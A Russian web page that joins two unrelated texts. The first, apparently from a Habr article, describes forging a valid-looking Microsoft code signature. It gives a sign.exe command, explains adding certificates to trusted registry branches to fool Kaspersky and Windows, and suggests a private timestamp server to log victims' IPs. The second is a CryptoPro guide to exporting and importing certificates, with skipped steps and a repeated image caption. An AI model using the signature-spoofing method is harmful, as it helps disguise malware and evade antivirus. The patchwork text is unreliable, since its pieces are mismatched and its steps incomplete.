sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc

Обратите внимание на использование таймстампа timestamp.verisign.com/scripts/timstamp.dll — теоретически вполне возможно использование собственного сервера на собственном домене, что позволит каждый раз видеть, что кто-то проверил подпись нашей программы на своём компьютере, а значит получать IP и время проверки. Правда удобно? 😉

Самое забавное, что на момент написания материала в далёком октябре-ноябре 2021-го Kaspersky Internet Security 2021 не отслеживала указанные ветки реестра, а проверку валидности цепочки оставляла на усмотрение ОС, которую мы довольно просто надули. Не знаю, что сейчас, но вроде как некоторые ветки заблокировали… Проверяйте, отписывайтесь!

Нужно отметить, что для простановки подписей возможно использование и специфичного, недоступного в паблике софта. Понятно, что подписи он не ломает, но даёт куда более гибкие возможности для заполнения полей X500, что ещё лучше создаёт видимость валидности. Вот тут возможно скачать любопытный пример. В архиве — файл популярной замены Блокноту bred3_2k (офсайт) с и без подписи Microsoft 🙂 Чтобы подпись полностью стала валидной, достаточно внести в реестр изменения, содержащиеся в файле key .reg. Аналогично, файл key -.reg эти изменения отменяет. Отследите путь сертификации — он любопытен 🙂

Сразу обращаю внимание на то, что автор «примера» прописал собственный таймстамп-сервер, так что любые манипуляции приведут к тому, что автор узнает Ваш IP — и дальше, как описывалось. Если хотите, то можете отследить эти обращения и отписаться в комментах 😉

Если потребуется, в следующей статье я расскажу, как настроить хипс для защиты соответсвующих веток реестра во избежание описанного внесения сертификатов в доверенные. Отписывайтесь в комментах — возможно, что эту уязвимость уже пофиксили.

В статье использован материал презентации Jarno Niemela (F-Secure).

Экспорт pfx-файла и его установка

Экспорт сертификата с закрытым ключом

1. Откройте оснастку работы с сертификатами:

— Пуск → Все программы → КриптоПро → Сертификатылибо— ​Internet Explorer → Сервис → Свойства обозревателя → вкладка Содержание → Сертификаты.

2. Откройте сертификат, который нужно скопировать. На вкладке «Состав» нажмите «Копировать в файл».
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра

7. Экспортируйте открытый ключ сертификата (см. Экспорт открытого ключа).

8. Заархивируйте полученные файлы форматов .pfx и .cer.

Установка сертификата с закрытым ключом

1. Откройте .pfx файл. Сразу запустится «Мастер импорта сертификатов».

2. Укажите хранилище «Текущий пользователь» и нажмите «Далее», затем снова «Далее».
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
Хранилище сертификатов Windows 10: где находятся и как открыть, 4 способа просмотра
6. Для корректной работы сертификата со встроенной лицензией переустановите сертификат в контейнер (см. Как установить личный сертификат в КриптоПро).

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector